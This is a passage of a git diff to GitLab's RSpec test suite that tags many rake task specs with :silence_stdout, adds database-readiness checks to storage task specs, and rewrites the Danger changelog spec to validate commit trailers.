+ allow($stdin).to receive(:read).and_return('testvalue')
end
it 'creates encrypted file from stdin' do
diff --git a/spec/tasks/gitlab/lfs/check_rake_spec.rb b/spec/tasks/gitlab/lfs/check_rake_spec.rb
index fd1b6d010e4..ce0076826c4 100644
--- a/spec/tasks/gitlab/lfs/check_rake_spec.rb
+++ b/spec/tasks/gitlab/lfs/check_rake_spec.rb
@@ -2,7 +2,7 @@
require 'rake_helper'
-RSpec.describe 'gitlab:lfs rake tasks' do
+RSpec.describe 'gitlab:lfs rake tasks', :silence_stdout do
describe 'check' do
let!(:lfs_object) { create(:lfs_object, :with_file, :correct_oid) }
diff --git a/spec/tasks/gitlab/lfs/migrate_rake_spec.rb b/spec/tasks/gitlab/lfs/migrate_rake_spec.rb
index a59da615b94..3b571507bac 100644
--- a/spec/tasks/gitlab/lfs/migrate_rake_spec.rb
+++ b/spec/tasks/gitlab/lfs/migrate_rake_spec.rb
@@ -2,7 +2,7 @@
require 'rake_helper'
-RSpec.describe 'gitlab:lfs namespace rake task' do
+RSpec.describe 'gitlab:lfs namespace rake task', :silence_stdout do
before :all do
Rake.application.rake_require 'tasks/gitlab/lfs/migrate'
end
diff --git a/spec/tasks/gitlab/packages/composer_rake_spec.rb b/spec/tasks/gitlab/packages/composer_rake_spec.rb
index d54e1b02599..78013714de5 100644
--- a/spec/tasks/gitlab/packages/composer_rake_spec.rb
+++ b/spec/tasks/gitlab/packages/composer_rake_spec.rb
@@ -2,7 +2,7 @@
require 'rake_helper'
-RSpec.describe 'gitlab:packages:build_composer_cache namespace rake task' do
+RSpec.describe 'gitlab:packages:build_composer_cache namespace rake task', :silence_stdout do
let_it_be(:package_name) { 'sample-project' }
let_it_be(:package_name2) { 'sample-project2' }
let_it_be(:json) { { 'name' => package_name } }
diff --git a/spec/tasks/gitlab/packages/events_rake_spec.rb b/spec/tasks/gitlab/packages/events_rake_spec.rb
index d6aa6deac1e..87f4db360ca 100644
--- a/spec/tasks/gitlab/packages/events_rake_spec.rb
+++ b/spec/tasks/gitlab/packages/events_rake_spec.rb
@@ -2,7 +2,7 @@
require 'rake_helper'
-RSpec.describe 'gitlab:packages:events namespace rake task' do
+RSpec.describe 'gitlab:packages:events namespace rake task', :silence_stdout do
before :all do
Rake.application.rake_require 'tasks/gitlab/packages/events'
end
diff --git a/spec/tasks/gitlab/packages/migrate_rake_spec.rb b/spec/tasks/gitlab/packages/migrate_rake_spec.rb
index 618ff215c74..bf34034ee57 100644
--- a/spec/tasks/gitlab/packages/migrate_rake_spec.rb
+++ b/spec/tasks/gitlab/packages/migrate_rake_spec.rb
@@ -2,7 +2,7 @@
require 'rake_helper'
-RSpec.describe 'gitlab:packages namespace rake task' do
+RSpec.describe 'gitlab:packages namespace rake task', :silence_stdout do
before :all do
Rake.application.rake_require 'tasks/gitlab/packages/migrate'
end
diff --git a/spec/tasks/gitlab/pages_rake_spec.rb b/spec/tasks/gitlab/pages_rake_spec.rb
index 664899c361b..d4bfcafa7b4 100644
--- a/spec/tasks/gitlab/pages_rake_spec.rb
+++ b/spec/tasks/gitlab/pages_rake_spec.rb
@@ -2,7 +2,7 @@
require 'rake_helper'
-RSpec.describe 'gitlab:pages' do
+RSpec.describe 'gitlab:pages', :silence_stdout do
before(:context) do
Rake.application.rake_require 'tasks/gitlab/pages'
end
diff --git a/spec/tasks/gitlab/password_rake_spec.rb b/spec/tasks/gitlab/password_rake_spec.rb
index d5320f3b4af..65bba836024 100644
--- a/spec/tasks/gitlab/password_rake_spec.rb
+++ b/spec/tasks/gitlab/password_rake_spec.rb
@@ -2,7 +2,7 @@
require 'rake_helper'
-RSpec.describe 'gitlab:password rake tasks' do
+RSpec.describe 'gitlab:password rake tasks', :silence_stdout do
let_it_be(:user_1) { create(:user, username: 'foobar', password: 'initial_password') }
def stub_username(username)
diff --git a/spec/tasks/gitlab/praefect_rake_spec.rb b/spec/tasks/gitlab/praefect_rake_spec.rb
index c67dba110c7..85e655ed72c 100644
--- a/spec/tasks/gitlab/praefect_rake_spec.rb
+++ b/spec/tasks/gitlab/praefect_rake_spec.rb
@@ -2,7 +2,7 @@
require 'rake_helper'
-RSpec.describe 'gitlab:praefect:replicas' do
+RSpec.describe 'gitlab:praefect:replicas', :silence_stdout do
before do
Rake.application.rake_require 'tasks/gitlab/praefect'
end
diff --git a/spec/tasks/gitlab/seed/group_seed_rake_spec.rb b/spec/tasks/gitlab/seed/group_seed_rake_spec.rb
index 0b69615eebc..2f57e875f5f 100644
--- a/spec/tasks/gitlab/seed/group_seed_rake_spec.rb
+++ b/spec/tasks/gitlab/seed/group_seed_rake_spec.rb
@@ -2,7 +2,7 @@
require 'rake_helper'
-RSpec.describe 'gitlab:seed:group_seed rake task' do
+RSpec.describe 'gitlab:seed:group_seed rake task', :silence_stdout do
let(:username) { 'group_seed' }
let!(:user) { create(:user, username: username) }
let(:task_params) { [2, username] }
diff --git a/spec/tasks/gitlab/shell_rake_spec.rb b/spec/tasks/gitlab/shell_rake_spec.rb
index a929daddb67..52a9738fb51 100644
--- a/spec/tasks/gitlab/shell_rake_spec.rb
+++ b/spec/tasks/gitlab/shell_rake_spec.rb
@@ -2,7 +2,7 @@
require 'rake_helper'
-RSpec.describe 'gitlab:shell rake tasks' do
+RSpec.describe 'gitlab:shell rake tasks', :silence_stdout do
before do
Rake.application.rake_require 'tasks/gitlab/shell'
diff --git a/spec/tasks/gitlab/sidekiq_rake_spec.rb b/spec/tasks/gitlab/sidekiq_rake_spec.rb
index 61a8aecfa61..75f904389e2 100644
--- a/spec/tasks/gitlab/sidekiq_rake_spec.rb
+++ b/spec/tasks/gitlab/sidekiq_rake_spec.rb
@@ -2,7 +2,7 @@
require 'rake_helper'
-RSpec.describe 'sidekiq.rake', :aggregate_failures do
+RSpec.describe 'sidekiq.rake', :aggregate_failures, :silence_stdout do
before do
Rake.application.rake_require 'tasks/gitlab/sidekiq'
diff --git a/spec/tasks/gitlab/snippets_rake_spec.rb b/spec/tasks/gitlab/snippets_rake_spec.rb
index f21922e14b8..d40b784b3a0 100644
--- a/spec/tasks/gitlab/snippets_rake_spec.rb
+++ b/spec/tasks/gitlab/snippets_rake_spec.rb
@@ -2,7 +2,7 @@
require 'rake_helper'
-RSpec.describe 'gitlab:snippets namespace rake task' do
+RSpec.describe 'gitlab:snippets namespace rake task', :silence_stdout do
let_it_be(:user) { create(:user)}
let_it_be(:migrated) { create(:personal_snippet, :repository, author: user) }
let(:non_migrated) { create_list(:personal_snippet, 3, author: user) }
diff --git a/spec/tasks/gitlab/storage_rake_spec.rb b/spec/tasks/gitlab/storage_rake_spec.rb
index abd44adbdcc..fefcd05af3b 100644
--- a/spec/tasks/gitlab/storage_rake_spec.rb
+++ b/spec/tasks/gitlab/storage_rake_spec.rb
@@ -2,7 +2,7 @@
require 'rake_helper'
-RSpec.describe 'rake gitlab:storage:*' do
+RSpec.describe 'rake gitlab:storage:*', :silence_stdout do
before do
Rake.application.rake_require 'tasks/gitlab/storage'
@@ -88,6 +88,27 @@ RSpec.describe 'rake gitlab:storage:*' do
end
end
+ shared_examples 'wait until database is ready' do
+ it 'checks if the database is ready once' do
+ expect(Gitlab::Database).to receive(:exists?).once
+
+ run_rake_task(task)
+ end
+
+ context 'handles custom env vars' do
+ before do
+ stub_env('MAX_DATABASE_CONNECTION_CHECKS' => 3)
+ stub_env('MAX_DATABASE_CONNECTION_INTERVAL' => 0.1)
+ end
+
+ it 'tries for 3 times, polling every 0.1 seconds' do
+ expect(Gitlab::Database).to receive(:exists?).exactly(3).times.and_return(false)
+
+ run_rake_task(task)
+ end
+ end
+ end
+
describe 'gitlab:storage:migrate_to_hashed' do
let(:task) { 'gitlab:storage:migrate_to_hashed' }
@@ -198,6 +219,10 @@ RSpec.describe 'rake gitlab:storage:*' do
let(:task) { 'gitlab:storage:legacy_projects' }
let(:create_collection) { create_list(:project, 3, :legacy_storage) }
end
+
+ it_behaves_like 'wait until database is ready' do
+ let(:task) { 'gitlab:storage:legacy_projects' }
+ end
end
describe 'gitlab:storage:list_legacy_projects' do
@@ -227,6 +252,10 @@ RSpec.describe 'rake gitlab:storage:*' do
let(:project) { create(:project, storage_version: 1) }
let(:create_collection) { create_list(:upload, 3, model: project) }
end
+
+ it_behaves_like 'wait until database is ready' do
+ let(:task) { 'gitlab:storage:legacy_attachments' }
+ end
end
describe 'gitlab:storage:list_legacy_attachments' do
diff --git a/spec/tasks/gitlab/terraform/migrate_rake_spec.rb b/spec/tasks/gitlab/terraform/migrate_rake_spec.rb
index 4188521df8e..8d911010a2e 100644
--- a/spec/tasks/gitlab/terraform/migrate_rake_spec.rb
+++ b/spec/tasks/gitlab/terraform/migrate_rake_spec.rb
@@ -2,7 +2,7 @@
require 'rake_helper'
-RSpec.describe 'gitlab:terraform_states' do
+RSpec.describe 'gitlab:terraform_states', :silence_stdout do
let_it_be(:version) { create(:terraform_state_version) }
let(:logger) { instance_double(Logger) }
@@ -13,7 +13,7 @@ RSpec.describe 'gitlab:terraform_states' do
end
before do
- allow(Logger).to receive(:new).with(STDOUT).and_return(logger)
+ allow(Logger).to receive(:new).with($stdout).and_return(logger)
end
describe 'gitlab:terraform_states:migrate' do
diff --git a/spec/tasks/gitlab/update_templates_rake_spec.rb b/spec/tasks/gitlab/update_templates_rake_spec.rb
index 25151a2f3ae..7eccdf22a1f 100644
--- a/spec/tasks/gitlab/update_templates_rake_spec.rb
+++ b/spec/tasks/gitlab/update_templates_rake_spec.rb
@@ -2,7 +2,7 @@
require 'rake_helper'
-RSpec.describe 'gitlab:update_project_templates rake task' do
+RSpec.describe 'gitlab:update_project_templates rake task', :silence_stdout do
let!(:tmpdir) { Dir.mktmpdir }
before do
diff --git a/spec/tasks/gitlab/uploads/check_rake_spec.rb b/spec/tasks/gitlab/uploads/check_rake_spec.rb
index 4c6f16dbcf9..b3efe33c549 100644
--- a/spec/tasks/gitlab/uploads/check_rake_spec.rb
+++ b/spec/tasks/gitlab/uploads/check_rake_spec.rb
@@ -2,7 +2,7 @@
require 'rake_helper'
-RSpec.describe 'gitlab:uploads rake tasks' do
+RSpec.describe 'gitlab:uploads rake tasks', :silence_stdout do
describe 'check' do
let!(:upload) { create(:upload, path: Rails.root.join('spec/fixtures/banana_sample.gif')) }
diff --git a/spec/tasks/gitlab/uploads/migrate_rake_spec.rb b/spec/tasks/gitlab/uploads/migrate_rake_spec.rb
index 7f0f5c6767d..e293271ca67 100644
--- a/spec/tasks/gitlab/uploads/migrate_rake_spec.rb
+++ b/spec/tasks/gitlab/uploads/migrate_rake_spec.rb
@@ -2,7 +2,7 @@
require 'rake_helper'
-RSpec.describe 'gitlab:uploads:migrate and migrate_to_local rake tasks' do
+RSpec.describe 'gitlab:uploads:migrate and migrate_to_local rake tasks', :silence_stdout do
let(:model_class) { nil }
let(:uploader_class) { nil }
let(:mounted_as) { nil }
diff --git a/spec/tasks/gitlab/usage_data_rake_spec.rb b/spec/tasks/gitlab/usage_data_rake_spec.rb
index 84269568b8b..acaf9b5729b 100644
--- a/spec/tasks/gitlab/usage_data_rake_spec.rb
+++ b/spec/tasks/gitlab/usage_data_rake_spec.rb
@@ -2,7 +2,7 @@
require 'rake_helper'
-RSpec.describe 'gitlab:usage data take tasks' do
+RSpec.describe 'gitlab:usage data take tasks', :silence_stdout do
include UsageDataHelpers
before do
diff --git a/spec/tasks/gitlab/user_management_rake_spec.rb b/spec/tasks/gitlab/user_management_rake_spec.rb
index 958055780d0..b13b004aaa4 100644
--- a/spec/tasks/gitlab/user_management_rake_spec.rb
+++ b/spec/tasks/gitlab/user_management_rake_spec.rb
@@ -2,7 +2,7 @@
require 'rake_helper'
-RSpec.describe 'gitlab:user_management tasks' do
+RSpec.describe 'gitlab:user_management tasks', :silence_stdout do
before do
Rake.application.rake_require 'tasks/gitlab/user_management'
end
diff --git a/spec/tasks/gitlab/web_hook_rake_spec.rb b/spec/tasks/gitlab/web_hook_rake_spec.rb
index 9f373e3a20a..2c582dc78f8 100644
--- a/spec/tasks/gitlab/web_hook_rake_spec.rb
+++ b/spec/tasks/gitlab/web_hook_rake_spec.rb
@@ -2,7 +2,7 @@
require 'rake_helper'
-RSpec.describe 'gitlab:web_hook namespace rake tasks' do
+RSpec.describe 'gitlab:web_hook namespace rake tasks', :silence_stdout do
let_it_be(:group, refind: true) { create(:group) }
let_it_be(:project1, reload: true) { create(:project, namespace: group) }
let_it_be(:project2, reload: true) { create(:project, namespace: group) }
diff --git a/spec/tasks/gitlab/workhorse_rake_spec.rb b/spec/tasks/gitlab/workhorse_rake_spec.rb
index 0757f6ca015..6b5985a2a8a 100644
--- a/spec/tasks/gitlab/workhorse_rake_spec.rb
+++ b/spec/tasks/gitlab/workhorse_rake_spec.rb
@@ -2,7 +2,7 @@
require 'rake_helper'
-RSpec.describe 'gitlab:workhorse namespace rake task' do
+RSpec.describe 'gitlab:workhorse namespace rake task', :silence_stdout do
before :all do
Rake.application.rake_require 'tasks/gitlab/workhorse'
end
diff --git a/spec/tasks/gitlab/x509/update_rake_spec.rb b/spec/tasks/gitlab/x509/update_rake_spec.rb
index b166e73935a..dca4f07cda7 100644
--- a/spec/tasks/gitlab/x509/update_rake_spec.rb
+++ b/spec/tasks/gitlab/x509/update_rake_spec.rb
@@ -2,7 +2,7 @@
require 'rake_helper'
-RSpec.describe 'gitlab:x509 namespace rake task' do
+RSpec.describe 'gitlab:x509 namespace rake task', :silence_stdout do
before :all do
Rake.application.rake_require 'tasks/gitlab/x509/update'
end
diff --git a/spec/tasks/migrate/schema_check_rake_spec.rb b/spec/tasks/migrate/schema_check_rake_spec.rb
index aebb3a6551f..1b60b63ad84 100644
--- a/spec/tasks/migrate/schema_check_rake_spec.rb
+++ b/spec/tasks/migrate/schema_check_rake_spec.rb
@@ -3,7 +3,7 @@
require 'spec_helper'
require 'rake'
-RSpec.describe 'schema_version_check rake task' do
+RSpec.describe 'schema_version_check rake task', :silence_stdout do
include StubENV
before :all do
diff --git a/spec/tasks/tokens_spec.rb b/spec/tasks/tokens_spec.rb
index 13fcd37b426..3f7271d4be1 100644
--- a/spec/tasks/tokens_spec.rb
+++ b/spec/tasks/tokens_spec.rb
@@ -2,7 +2,7 @@
require 'rake_helper'
-RSpec.describe 'tokens rake tasks' do
+RSpec.describe 'tokens rake tasks', :silence_stdout do
let!(:user) { create(:user) }
before do
diff --git a/spec/tooling/danger/changelog_spec.rb b/spec/tooling/danger/changelog_spec.rb
index 7637d894265..5777186cc28 100644
--- a/spec/tooling/danger/changelog_spec.rb
+++ b/spec/tooling/danger/changelog_spec.rb
@@ -18,136 +18,52 @@ RSpec.describe Tooling::Danger::Changelog do
allow(changelog).to receive(:project_helper).and_return(fake_project_helper)
end
- describe '#check_changelog_trailer' do
- subject { changelog.check_changelog_trailer(commit) }
-
- context "when commit doesn't include a changelog trailer" do
- let(:commit) { double('commit', message: "Hello world") }
-
- it { is_expected.to be_nil }
- end
-
- context "when commit include a changelog trailer with no category" do
- let(:commit) { double('commit', message: "Hello world\n\nChangelog:") }
+ describe '#check_changelog_commit_categories' do
+ context 'when all changelog commits are correct' do
+ it 'does not produce any messages' do
+ commit = double(:commit, message: "foo\nChangelog: fixed")
- it { is_expected.to be_nil }
- end
+ allow(changelog).to receive(:changelog_commits).and_return([commit])
- context "when commit include a changelog trailer with an unknown category" do
- let(:commit) { double('commit', message: "Hello world\n\nChangelog: foo", sha: "abc123") }
-
- it { is_expected.to have_attributes(errors: ["Commit #{commit.sha} uses an invalid changelog category: foo"]) }
- end
-
- described_class::CATEGORIES.each do |category|
- context "when commit include a changelog trailer with category set to '#{category}'" do
- let(:commit) { double('commit', message: "Hello world\n\nChangelog: #{category}", sha: "abc123") }
+ expect(changelog).not_to receive(:fail)
- it { is_expected.to have_attributes(errors: []) }
+ changelog.check_changelog_commit_categories
end
end
- end
-
- describe '#check_changelog_yaml' do
- let(:changelog_path) { 'ee/changelogs/unreleased/entry.yml' }
- let(:changes) { changes_class.new([change_class.new(changelog_path, :added, :changelog)]) }
- let(:yaml_title) { 'Fix changelog Dangerfile to convert MR IID to a string before comparison' }
- let(:yaml_merge_request) { 60899 }
- let(:mr_iid) { '60899' }
- let(:yaml_type) { 'fixed' }
- let(:yaml) do
- <<~YAML
- ---
- title: #{yaml_title}
- merge_request: #{yaml_merge_request}
- author:
- type: #{yaml_type}
- YAML
- end
-
- before do
- allow(changelog).to receive(:present?).and_return(true)
- allow(changelog).to receive(:changelog_path).and_return(changelog_path)
- allow(changelog).to receive(:read_file).with(changelog_path).and_return(yaml)
- allow(fake_helper).to receive(:security_mr?).and_return(false)
- allow(fake_helper).to receive(:mr_iid).and_return(mr_iid)
- allow(fake_helper).to receive(:cherry_pick_mr?).and_return(false)
- allow(fake_helper).to receive(:stable_branch?).and_return(false)
- allow(fake_helper).to receive(:html_link).with(changelog_path).and_return(changelog_path)
- end
-
- subject { changelog.check_changelog_yaml }
-
- context "when changelog is not present" do
- before do
- allow(changelog).to receive(:present?).and_return(false)
- end
- it { is_expected.to have_attributes(errors: [], warnings: [], markdowns: [], messages: []) }
- end
+ context 'when a commit has an incorrect trailer' do
+ it 'adds a message' do
+ commit = double(:commit, message: "foo\nChangelog: foo", sha: '123')
- context "when YAML is invalid" do
- let(:yaml) { '{ foo bar]' }
+ allow(changelog).to receive(:changelog_commits).and_return([commit])
- it { is_expected.to have_attributes(errors: ["#{changelog_path} isn't valid YAML! #{described_class::SEE_DOC}"]) }
- end
+ expect(changelog).to receive(:fail)
- context "when a StandardError is raised" do
- before do
- allow(changelog).to receive(:read_file).and_raise(StandardError, "Fail!")
+ changelog.check_changelog_commit_categories
end
-
- it { is_expected.to have_attributes(warnings: ["There was a problem trying to check the Changelog. Exception: StandardError - Fail!"]) }
- end
-
- context "when YAML title is nil" do
- let(:yaml_title) { '' }
-
- it { is_expected.to have_attributes(errors: ["`title` should be set, in #{changelog_path}! #{described_class::SEE_DOC}"]) }
- end
-
- context "when YAML type is nil" do
- let(:yaml_type) { '' }
-
- it { is_expected.to have_attributes(errors: ["`type` should be set, in #{changelog_path}! #{described_class::SEE_DOC}"]) }
end
+ end
- context "when on a security MR" do
- let(:yaml_merge_request) { '' }
+ describe '#check_changelog_trailer' do
+ subject { changelog.check_changelog_trailer(commit) }
- before do
- allow(fake_helper).to receive(:security_mr?).and_return(true)
- end
+ context "when commit include a changelog trailer with an unknown category" do
+ let(:commit) { double('commit', message: "Hello world\n\nChangelog: foo", sha: "abc123") }
- it { is_expected.to have_attributes(errors: [], warnings: [], markdowns: [], messages: []) }
+ it { is_expected.to have_attributes(errors: ["Commit #{commit.sha} uses an invalid changelog category: foo"]) }
end
- context "when MR IID is empty" do
- before do
- allow(fake_helper).to receive(:mr_iid).and_return("")
- end
+ context 'when a commit uses the wrong casing for a trailer' do
+ let(:commit) { double('commit', message: "Hello world\n\nchangelog: foo", sha: "abc123") }
- it { is_expected.to have_attributes(errors: [], warnings: [], markdowns: [], messages: []) }
+ it { is_expected.to have_attributes(errors: ["The changelog trailer for commit #{commit.sha} must be `Changelog` (starting with a capital C), not `changelog`"]) }
end
- context "when YAML MR IID is empty" do
- let(:yaml_merge_request) { '' }
-
- context "and YAML includes a merge_request: line" do
- it { is_expected.to have_attributes(markdowns: [{ msg: format(described_class::SUGGEST_MR_COMMENT, mr_iid: fake_helper.mr_iid), file: changelog_path, line: 3 }]) }
- end
-
- context "and YAML does not include a merge_request: line" do
- let(:yaml) do
- <<~YAML
- ---
- title: #{yaml_title}
- author:
- type: #{yaml_type}
- YAML
- end
+ described_class::CATEGORIES.each do |category|
+ context "when commit include a changelog trailer with category set to '#{category}'" do
+ let(:commit) { double('commit', message: "Hello world\n\nChangelog: #{category}", sha: "abc123") }
- it { is_expected.to have_attributes(messages: ["Consider setting `merge_request` to #{mr_iid} in #{changelog_path}. #{described_class::SEE_DOC}"]) }
+ it { is_expected.to have_attributes(errors: []) }
end
end
end
@@ -177,13 +93,26 @@ RSpec.describe Tooling::Danger::Changelog do
let(:ee_change) { change_class.new('ee/app/models/foo.rb', :added, :backend) }
context "and a non-EE changelog, and changelog not required" do
- let(:changelog_change) { change_class.new('changelogs/unreleased/entry.yml', :added, :changelog) }
-
before do
allow(changelog).to receive(:required?).and_return(false)
+ allow(changelog).to receive(:ee_changelog?).and_return(false)
end
- it { is_expected.to have_attributes(warnings: ["This MR has a Changelog file outside `ee/`, but code changes in `ee/`. Consider moving the Changelog file into `ee/`."]) }
+ it { is_expected.to have_attributes(warnings: ["This MR changes code in `ee/`, but its Changelog commit is missing the [`EE: true` trailer](https://docs.gitlab.com/ee/development/changelog.html#gitlab-enterprise-changes). Consider adding it to your Changelog commits."]) }
+ end
+
+ context "and a EE changelog" do
+ before do
+ allow(changelog).to receive(:ee_changelog?).and_return(true)
+ end
+
+ it { is_expected.to have_attributes(errors: [], warnings: [], markdowns: [], messages: []) }
+
+ context "and there are DB changes" do
+ let(:foss_change) { change_class.new('db/migrate/foo.rb', :added, :migration) }
+
+ it { is_expected.to have_attributes(warnings: ["This MR has a Changelog commit with the `EE: true` trailer, but there are database changes which [requires](https://docs.gitlab.com/ee/development/changelog.html#what-warrants-a-changelog-entry) the Changelog commit to not have the `EE: true` trailer. Consider removing the `EE: true` trailer from your commits."]) }
+ end
end
end
@@ -191,15 +120,19 @@ RSpec.describe Tooling::Danger::Changelog do
let(:foss_change) { change_class.new('app/models/foo.rb', :added, :backend) }
context "and a non-EE changelog" do
- let(:changelog_change) { change_class.new('changelogs/unreleased/entry.yml', :added, :changelog) }
+ before do
+ allow(changelog).to receive(:ee_changelog?).and_return(false)
+ end
it { is_expected.to have_attributes(errors: [], warnings: [], markdowns: [], messages: []) }
end
context "and a EE changelog" do
- let(:changelog_change) { change_class.new('ee/changelogs/unreleased/entry.yml', :added, :changelog) }
+ before do
+ allow(changelog).to receive(:ee_changelog?).and_return(true)
+ end
- it { is_expected.to have_attributes(warnings: ["This MR has a Changelog file in `ee/`, but no code changes in `ee/`. Consider moving the Changelog file outside `ee/`."]) }
+ it { is_expected.to have_attributes(warnings: ["This MR has a Changelog commit for EE, but no code changes in `ee/`. Consider removing the `EE: true` trailer from your commits."]) }
end
end
end
@@ -207,20 +140,26 @@ RSpec.describe Tooling::Danger::Changelog do
describe '#required_reasons' do
subject { changelog.required_reasons }
+ context "added files contain a migration" do
+ let(:changes) { changes_class.new([change_class.new('foo', :added, :migration)]) }
+
+ it { is_expected.to include(:db_changes) }
+ end
+
context "removed files contains a feature flag" do
let(:changes) { changes_class.new([change_class.new('foo', :deleted, :feature_flag)]) }
it { is_expected.to include(:feature_flag_removed) }
end
- context "removed files do not contain a feature flag" do
- let(:changes) { changes_class.new([change_class.new('foo', :deleted, :backend)]) }
+ context "added files do not contain a migration" do
+ let(:changes) { changes_class.new([change_class.new('foo', :added, :frontend)]) }
it { is_expected.to be_empty }
end
- context "added files contain a migration" do
- let(:changes) { changes_class.new([change_class.new('foo', :added, :migration)]) }
+ context "removed files do not contain a feature flag" do
+ let(:changes) { changes_class.new([change_class.new('foo', :deleted, :backend)]) }
it { is_expected.to be_empty }
end
@@ -229,20 +168,26 @@ RSpec.describe Tooling::Danger::Changelog do
describe '#required?' do
subject { changelog.required? }
+ context 'added files contain a migration' do
+ let(:changes) { changes_class.new([change_class.new('foo', :added, :migration)]) }
+
+ it { is_expected.to be_truthy }
+ end
+
context "removed files contains a feature flag" do
let(:changes) { changes_class.new([change_class.new('foo', :deleted, :feature_flag)]) }
it { is_expected.to be_truthy }
end
- context "removed files do not contain a feature flag" do
- let(:changes) { changes_class.new([change_class.new('foo', :deleted, :backend)]) }
+ context 'added files do not contain a migration' do
+ let(:changes) { changes_class.new([change_class.new('foo', :added, :frontend)]) }
it { is_expected.to be_falsey }
end
- context "added files contain a migration" do
- let(:changes) { changes_class.new([change_class.new('foo', :added, :migration)]) }
+ context "removed files do not contain a feature flag" do
+ let(:changes) { changes_class.new([change_class.new('foo', :deleted, :backend)]) }
it { is_expected.to be_falsey }
end
@@ -301,50 +246,63 @@ RSpec.describe Tooling::Danger::Changelog do
end
describe '#present?' do
- subject { changelog.present? }
+ it 'returns true when a Changelog commit is present' do
+ allow(changelog)
+ .to receive(:valid_changelog_commits)
+ .and_return([double(:commit)])
- context 'added files contain a changelog' do
- let(:changes) { changes_class.new([change_class.new('foo', :added, :changelog)]) }
-
- it { is_expected.to be_truthy }
+ expect(changelog).to be_present
end
- context 'added files do not contain a changelog' do
- let(:changes) { changes_class.new([change_class.new('foo', :added, :backend)]) }
+ it 'returns false when a Changelog commit is missing' do
+ allow(changelog).to receive(:valid_changelog_commits).and_return([])
- it { is_expected.to be_falsy }
+ expect(changelog).not_to be_present
end
end
- describe '#ee_changelog?' do
- subject { changelog.ee_changelog? }
+ describe '#changelog_commits' do
+ it 'returns the commits that include a Changelog trailer' do
+ commit1 = double(:commit, message: "foo\nChangelog: fixed")
+ commit2 = double(:commit, message: "bar\nChangelog: kittens")
+ commit3 = double(:commit, message: 'testing')
+ git = double(:git)
- context 'is ee changelog' do
- let(:changes) { changes_class.new([change_class.new('ee/changelogs/unreleased/entry.yml', :added, :changelog)]) }
+ allow(changelog).to receive(:git).and_return(git)
+ allow(git).to receive(:commits).and_return([commit1, commit2, commit3])
- it { is_expected.to be_truthy }
+ expect(changelog.changelog_commits).to eq([commit1, commit2])
end
+ end
+
+ describe '#valid_changelog_commits' do
+ it 'returns the commits with a valid Changelog trailer' do
+ commit1 = double(:commit, message: "foo\nChangelog: fixed")
+ commit2 = double(:commit, message: "bar\nChangelog: kittens")
- context 'is not ee changelog' do
- let(:changes) { changes_class.new([change_class.new('changelogs/unreleased/entry.yml', :added, :changelog)]) }
+ allow(changelog)
+ .to receive(:changelog_commits)
+ .and_return([commit1, commit2])
- it { is_expected.to be_falsy }
+ expect(changelog.valid_changelog_commits).to eq([commit1])
end
end
- describe '#changelog_path' do
- subject { changelog.changelog_path }
+ describe '#ee_changelog?' do
+ it 'returns true when an EE changelog commit is present' do
+ commit = double(:commit, message: "foo\nEE: true")
- context 'added files contain a changelog' do
- let(:changes) { changes_class.new([change_class.new('foo', :added, :changelog)]) }
+ allow(changelog).to receive(:changelog_commits).and_return([commit])
- it { is_expected.to eq('foo') }
+ expect(changelog.ee_changelog?).to eq(true)
end
- context 'added files do not contain a changelog' do
- let(:changes) { changes_class.new([change_class.new('foo', :added, :backend)]) }
+ it 'returns false when an EE changelog commit is missing' do
+ commit = double(:commit, message: 'foo')
- it { is_expected.to be_nil }
+ allow(changelog).to receive(:changelog_commits).and_return([commit])
+
+ expect(changelog.ee_changelog?).to eq(false)
end
end
@@ -355,8 +313,8 @@ RSpec.describe Tooling::Danger::Changelog do
shared_examples 'changelog modified text' do |key|
specify do
expect(subject).to include('CHANGELOG.md was edited')
- expect(subject).to include('bin/changelog -m 1234 "Fake Title"')
- expect(subject).to include('bin/changelog --ee -m 1234 "Fake Title"')
+ expect(subject).to include('`Changelog` trailer')
+ expect(subject).to include('`EE: true`')
end
end
@@ -386,7 +344,7 @@ RSpec.describe Tooling::Danger::Changelog do
specify do
expect(subject).to include('CHANGELOG.md was edited')
- expect(subject).not_to include('bin/changelog')
+ expect(subject).not_to include('`Changelog` trailer')
end
end
end
@@ -405,8 +363,21 @@ RSpec.describe Tooling::Danger::Changelog do
specify do
expect(subject).to have_key(key)
expect(subject[key]).to include('CHANGELOG missing')
- expect(subject[key]).to include('bin/changelog -m 1234 "Fake Title"')
- expect(subject[key]).not_to include('--ee')
+ expect(subject[key]).to include('`Changelog` trailer')
+ end
+ end
+
+ context 'with a new migration file' do
+ let(:changes) { changes_class.new([change_class.new('foo', :added, :migration)]) }
+
+ context "when title is not changed from sanitization", :aggregate_failures do
+ it_behaves_like 'changelog required text', :db_changes
+ end
+
+ context "when title needs sanitization", :aggregate_failures do
+ let(:mr_title) { 'DRAFT: Fake Title' }
+
+ it_behaves_like 'changelog required text', :db_changes
end
end
@@ -426,8 +397,21 @@ RSpec.describe Tooling::Danger::Changelog do
specify do
expect(subject).to have_key(key)
expect(subject[key]).to include('CHANGELOG missing')
- expect(subject[key]).not_to include('bin/changelog')
- expect(subject[key]).not_to include('--ee')
+ expect(subject[key]).not_to include('`Changelog` trailer')
+ end
+ end
+
+ context 'with a new migration file' do
+ let(:changes) { changes_class.new([change_class.new('foo', :added, :migration)]) }
+
+ context "when title is not changed from sanitization", :aggregate_failures do
+ it_behaves_like 'changelog required text', :db_changes
+ end
+
+ context "when title needs sanitization", :aggregate_failures do
+ let(:mr_title) { 'DRAFT: Fake Title' }
+
+ it_behaves_like 'changelog required text', :db_changes
end
end
@@ -446,8 +430,8 @@ RSpec.describe Tooling::Danger::Changelog do
shared_examples 'changelog optional text' do |key|
specify do
expect(subject).to include('CHANGELOG missing')
- expect(subject).to include('bin/changelog -m 1234 "Fake Title"')
- expect(subject).to include('bin/changelog --ee -m 1234 "Fake Title"')
+ expect(subject).to include('`Changelog` trailer')
+ expect(subject).to include('EE: true')
end
end
@@ -477,7 +461,6 @@ RSpec.describe Tooling::Danger::Changelog do
specify do
expect(subject).to include('CHANGELOG missing')
- expect(subject).not_to include('bin/changelog')
end
end
end
diff --git a/spec/tooling/danger/product_intelligence_spec.rb b/spec/tooling/danger/product_intelligence_spec.rb
new file mode 100644
index 00000000000..17ef67e64fe
--- /dev/null
+++ b/spec/tooling/danger/product_intelligence_spec.rb
@@ -0,0 +1,150 @@
+# frozen_string_literal: true
+
+require 'gitlab-dangerfiles'
+require 'gitlab/dangerfiles/spec_helper'
+
+require_relative '../../../tooling/danger/product_intelligence'
+require_relative '../../../tooling/danger/project_helper'
+
+RSpec.describe Tooling::Danger::ProductIntelligence do
+ include_context "with dangerfile"
+
